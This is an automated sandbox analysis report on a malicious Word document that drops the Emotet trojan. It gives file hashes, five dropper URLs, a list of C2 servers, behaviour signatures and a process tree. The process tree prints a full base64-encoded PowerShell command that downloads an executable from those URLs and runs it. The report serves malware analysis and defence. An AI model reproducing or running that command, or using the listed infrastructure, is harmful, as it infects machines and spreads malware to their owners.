Analysis

  • max time kernel
    70s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    01-08-2020 19:37

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.13465.21876.20371.doc

  • Size

    168KB

  • MD5

    7b47c08a4c4f10203169c0c7ceab2170

  • SHA1

    b5b04a8ff3dcd39452cef492f13e86c510fa8131

  • SHA256

    3d5427a07cdecdce3e2943473bf2a141a3eeff0e22919c7b1fe3378aed3d1590

  • SHA512

    26875b4b30d31a63d875b8ddb4b8671e76de16b6725e07d923f499b6bbcaeb6c67ad1ee369d8425862eee33228b36259b5b02a10308e32cd3157e26cfdf38524

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://rectificadoscarrion.com/wp-includes/EiQ/

exe.dropper

http://renekok.com/QbWyat/

exe.dropper

http://www.onlinemediadesigns.com/bin/nObh/

exe.dropper

http://renegaderadio.net/haunted/cA5zuC5/

exe.dropper

http://qatifsport.net/t/NbQq254/

Extracted

Family

emotet

C2

73.116.193.136:80

185.94.252.13:443

149.62.173.247:8080

89.32.150.160:8080

185.94.252.12:80

77.90.136.129:8080

83.169.21.32:7080

104.236.161.64:8080

114.109.179.60:80

189.2.177.210:443

68.183.190.199:8080

144.139.91.187:443

185.94.252.27:443

190.181.235.46:80

82.196.15.205:8080

46.28.111.142:7080

181.167.96.215:80

202.62.39.111:80

219.92.13.25:80

191.99.160.58:80

rsa_pubkey.plain

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.13465.21876.20371.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:240
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABUAFUATwBPAEYAagBqAGQAPQAnAEoARQBPAFUAUwBkAGUAawAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBDAFUAUgBpAHQAeQBQAGAAUgBvAFQAbwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEMAVQBaAFEAWgB0AHkAYQAgAD0AIAAnADIAOAA1ACcAOwAkAE4ASQBCAEMAQwBvAHMAdgA9ACcASgBPAEYASwBIAHAAdABvACcAOwAkAEcARwBNAEIAUQBiAHkAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQwBVAFoAUQBaAHQAeQBhACsAJwAuAGUAeABlACcAOwAkAFMAQgBDAFMATQBmAG8AZAA9ACcASQBCAFYATABPAG0AcABuACcAOwAkAE4AVwBEAEcATAB4AHIAbwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAHQALgBXAEUAYgBjAGwASQBFAG4AVAA7ACQATwBaAEQAQQBLAGcAdgBwAD0AJwBoAHQAdABwADoALwAvAHIAZQBjAHQAaQBmAGkAYwBhAGQAbwBzAGMAYQByAHIAaQBvAG4ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEUAaQBRAC8AKgBoAHQAdABwADoALwAvAHIAZQBuAGUAawBvAGsALgBjAG8AbQAvAFEAYgBXAHkAYQB0AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbwBuAGwAaQBuAGUAbQBlAGQAaQBhAGQAZQBzAGkAZwBuAHMALgBjAG8AbQAvAGIAaQBuAC8AbgBPAGIAaAAvACoAaAB0AHQAcAA6AC8ALwByAGUAbgBlAGcAYQBkAGUAcgBhAGQAaQBvAC4AbgBlAHQALwBoAGEAdQBuAHQAZQBkAC8AYwBBADUAegB1AEMANQAvACoAaAB0AHQAcAA6AC8ALwBxAGEAdABpAGYAcwBwAG8AcgB0AC4AbgBlAHQALwB0AC8ATgBiAFEAcQAyADUANAAvACcALgAiAHMAcABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBTAE0AQQBOAG8AYwB1AD0AJwBEAFQARwBGAFoAcABhAHMAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFoATgBaAEkASQBpAG4AaQAgAGkAbgAgACQATwBaAEQAQQBLAGcAdgBwACkAewB0AHIAeQB7ACQATgBXAEQARwBMAHgAcgBvAC4AIgBEAE8AdwBuAGAAbABgAE8AYABBAGQAZgBJAGwAZQAiACgAJABaAE4AWgBJAEkAaQBuAGkALAAgACQARwBHAE0AQgBRAGIAeQBpACkAOwAkAEYAVgBWAFYATgB5AGsAawA9ACcASwBYAEEAVABVAHUAZQBiACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARwBHAE0AQgBRAGIAeQBpACkALgAiAGwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMwA2ADkANQA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABlAGEAYABUAEUAIgAoACQARwBHAE0AQgBRAGIAeQBpACkAOwAkAFMATgBPAFEAUwB5AGsAagA9ACcAQwBDAEcATABWAGcAawBzACcAOwBiAHIAZQBhAGsAOwAkAFcARQBPAFAARAB2AHIAeAA9ACcASwBZAE0AQQBYAHQAagBhACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEARgBEAFcARABvAG4AaAA9ACcARQBNAEUATgBLAGIAcQBmACcA
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Process spawned unexpected child process
    PID:1788
  • C:\Users\Admin\285.exe
    C:\Users\Admin\285.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\SysWOW64\wmploc\WsmGCDeps.exe
      "C:\Windows\SysWOW64\wmploc\WsmGCDeps.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1956

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\285.exe
  • C:\Users\Admin\285.exe
  • C:\Windows\SysWOW64\wmploc\WsmGCDeps.exe
  • memory/240-2-0x0000000008860000-0x0000000008864000-memory.dmp
    Filesize

    16KB

  • memory/240-4-0x0000000006D90000-0x0000000006F90000-memory.dmp
    Filesize

    2.0MB

  • memory/240-5-0x000000000ADD0000-0x000000000ADD4000-memory.dmp
    Filesize

    16KB

  • memory/240-6-0x000000000BE50000-0x000000000BE54000-memory.dmp
    Filesize

    16KB

  • memory/1924-11-0x00000000003C0000-0x00000000003CC000-memory.dmp
    Filesize

    48KB

  • memory/1956-12-0x0000000000000000-mapping.dmp
  • memory/1956-14-0x0000000000260000-0x000000000026C000-memory.dmp
    Filesize

    48KB